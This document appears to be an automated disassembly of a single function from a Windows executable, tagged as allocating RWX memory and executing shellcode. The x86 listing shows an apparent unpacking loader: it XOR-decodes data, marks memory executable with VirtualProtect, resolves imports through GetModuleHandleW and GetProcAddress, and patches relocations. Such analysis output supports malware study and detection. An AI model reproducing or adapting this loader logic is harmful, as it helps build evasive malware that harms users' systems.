Function at 0x40233d
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
push ebx
push edi
mov edx, 0x1a
sub esp, 4
mov dword [esp], 0
dec edx
jne 0x402345
push 0x40
call fcn.0040e020
mov dword [esp], eax
mov dword [esp + 4], 0x5000
lea edx, [esp + 8]
push edx
push 0x41c02c
push 8
push 2
push 4
call fcn.0041911d
lea edx, [esp + 0x1c]
push edx
push 0
push 5
push 2
push 4
call fcn.0041911d
mov ebx, dword [0x424dc4]
add ebx, 0x1000
mov dword [esp + 0x30], ebx
mov ebp, str.English
mov ebx, ebp
mov ebp, 0x41c034
sub ebx, ebp
mov dword [esp + 0x34], ebx
mov ebx, dword [esp + 0x34]
mov eax, ebx
mov ecx, 4
cdq
idiv ecx
mov ebx, eax
mov dword [esp + 0x3c], ebx
mov dword [esp + 0x40], 0
jmp 0x4023e3
mov ebx, dword [esp + 0x3c]
dec ebx
cmp ebx, dword [esp + 0x40]
jl 0x40242c
mov ebx, dword [esp + 0x30]
mov edi, dword [esp + 0x40]
shl edi, 2
add ebx, edi
push ebx
pop eax
call fcn.00404080
mov ebx, eax
xor ebx, 0xedb88320
mov dword [esp + 0x38], ebx
push dword [esp + 0x38]
mov ebx, dword [esp + 0x34]
mov edi, dword [esp + 0x44]
shl edi, 2
add ebx, edi
push ebx
pop eax
call fcn.00404090
inc dword [esp + 0x40]
jno 0x4023e3
lea eax, [esp + 0x2c]
push eax
push 0x40
push 0x4000
push dword [esp + 0x3c]
call sub.KERNEL32.dll_VirtualProtect
push dword [0x4254a8]
push dword [0x4254a8]
push 0x18
push 0xffffffff
mov ebx, dword [0x424dc4]
add ebx, 0x535c
push ebx
call fcn.0040e100
mov ebp, dword [esp + 0xc]
lea eax, [ebp]
push eax
call fcn.00419590
push dword [0x4254a8]
push dword [0x4254a8]
push 0x18
push 0xffffffff
mov ebx, dword [0x424dc4]
add ebx, 0x53b0
push ebx
call fcn.0040e100
lea eax, [ebp + 4]
push eax
call fcn.00419590
push dword [ebp]
call sub.KERNEL32.dll_GetModuleHandleW
push eax
mov ebp, dword [esp + 0x20]
pop eax
mov dword [ebp], eax
mov ebp, dword [esp + 8]
push dword [ebp + 4]
call sub.KERNEL32.dll_GetModuleHandleW
push eax
mov ebp, dword [esp + 0x20]
pop eax
mov dword [ebp + 4], eax
push dword [esp + 8]
call fcn.0041926b
mov dword [esp + 0x40], 0
jmp 0x4024e3
mov eax, 3
cmp eax, dword [esp + 0x40]
jl 0x402590
push dword [0x4254a8]
push 0x18
push 0xffffffff
push dword [0x4254a8]
push dword [0x4254a8]
push 0x18
push 0xffffffff
mov ebx, dword [esp + 0x20]
add ebx, dword [0x424dc4]
push ebx
pop eax
call fcn.00404080
mov ebx, eax
add ebx, dword [0x424dc4]
add ebx, 2
push ebx
call fcn.0040e100
add dword [0x4254a8], 2
push dword [esp + 0x10]
mov edx, dword [0x423648]
add dword [esp + 4], edx
call fcn.0040e220
pop dword [0x4254a8]
push dword [esp]
mov ebp, dword [esp + 0x20]
push dword [ebp]
call sub.KERNEL32.dll_GetProcAddress
push eax
mov ebx, dword [esp + 8]
add ebx, dword [0x424dc4]
push ebx
pop eax
call fcn.00404090
mov ebx, dword [esp + 4]
add ebx, 4
mov dword [esp + 4], ebx
inc dword [esp + 0x40]
jno 0x4024e3
mov dword [esp + 4], 0x5020
mov dword [esp + 0x40], 0
jmp 0x4025a2
mov eax, 8
cmp eax, dword [esp + 0x40]
jl 0x40264f
push dword [0x4254a8]
push 0x18
push 0xffffffff
push dword [0x4254a8]
push dword [0x4254a8]
push 0x18
push 0xffffffff
mov ebx, dword [esp + 0x20]
add ebx, dword [0x424dc4]
push ebx
pop eax
call fcn.00404080
mov ebx, eax
add ebx, dword [0x424dc4]
add ebx, 2
push ebx
call fcn.0040e100
add dword [0x4254a8], 2
push dword [esp + 0x10]
mov edx, dword [0x423648]
add dword [esp + 4], edx
call fcn.0040e220
pop dword [0x4254a8]
push dword [esp]
mov ebp, dword [esp + 0x20]
push dword [ebp + 4]
call sub.KERNEL32.dll_GetProcAddress
push eax
mov ebx, dword [esp + 8]
add ebx, dword [0x424dc4]
push ebx
pop eax
call fcn.00404090
mov ebx, dword [esp + 4]
add ebx, 4
mov dword [esp + 4], ebx
inc dword [esp + 0x40]
jno 0x4025a2
push dword [esp + 0x1c]
call fcn.0041926b
push dword [esp]
call fcn.0040e090
mov dword [esp + 0x48], 0x8000
mov ebx, dword [0x424dc4]
add ebx, 0xf0000000
mov dword [esp + 0x60], ebx
mov dword [esp + 0x40], 0
jmp 0x402682
mov eax, 4
cmp eax, dword [esp + 0x40]
jl 0x40279a
mov ebx, dword [esp + 0x48]
add ebx, dword [0x424dc4]
push ebx
pop eax
call fcn.00404080
mov dword [esp + 0x4c], eax
mov ebx, dword [esp + 0x48]
add ebx, dword [0x424dc4]
add ebx, 4
push ebx
pop eax
call fcn.00404080
mov ebx, eax
add ebx, 0xfffffff8
mov dword [esp + 0x50], ebx
mov dword [esp + 0x44], 0
jmp 0x4026cd
mov ebx, dword [esp + 0x50]
mov eax, ebx
mov ecx, 2
cdq
idiv ecx
mov ebx, eax
dec ebx
cmp ebx, dword [esp + 0x44]
jl 0x402781
mov ebx, dword [esp + 0x48]
mov edi, dword [esp + 0x44]
add edi, edi
add ebx, edi
add ebx, dword [0x424dc4]
add ebx, 8
push ebx
pop eax
call fcn.004040c0
push eax
pop eax
mov word [esp + 0x54], ax
mov ebx, dword [esp + 0x44]
and ebx, ebx
jle 0x402726
movsx ebx, word [esp + 0x58]
cmp bx, word [esp + 0x54]
jle 0x402726
mov eax, 1
jmp 0x402728
xor eax, eax
and eax, eax
je 0x40272e
jmp 0x402781
movsx eax, word [esp + 0x54]
push eax
pop eax
mov word [esp + 0x58], ax
mov ebx, dword [0x424dc4]
add ebx, dword [esp + 0x4c]
movsx edi, word [esp + 0x54]
and edi, 0xfff
add ebx, edi
mov dword [esp + 0x5c], ebx
push dword [esp + 0x5c]
pop eax
call fcn.00404080
mov ebx, eax
add ebx, dword [esp + 0x60]
mov dword [esp + 0x64], ebx
push dword [esp + 0x64]
push dword [esp + 0x60]
pop eax
call fcn.00404090
inc dword [esp + 0x44]
jno 0x4026cd
mov ebx, dword [esp + 0x48]
add ebx, dword [esp + 0x50]
add ebx, 8
mov dword [esp + 0x48], ebx
inc dword [esp + 0x40]
jno 0x402682
xor eax, eax
push eax
push dword [esp + 0xc]
call fcn.00419270
push dword [esp + 0x20]
call fcn.00419270
pop eax
add esp, 0x68
pop edi
pop ebx
pop ebp
ret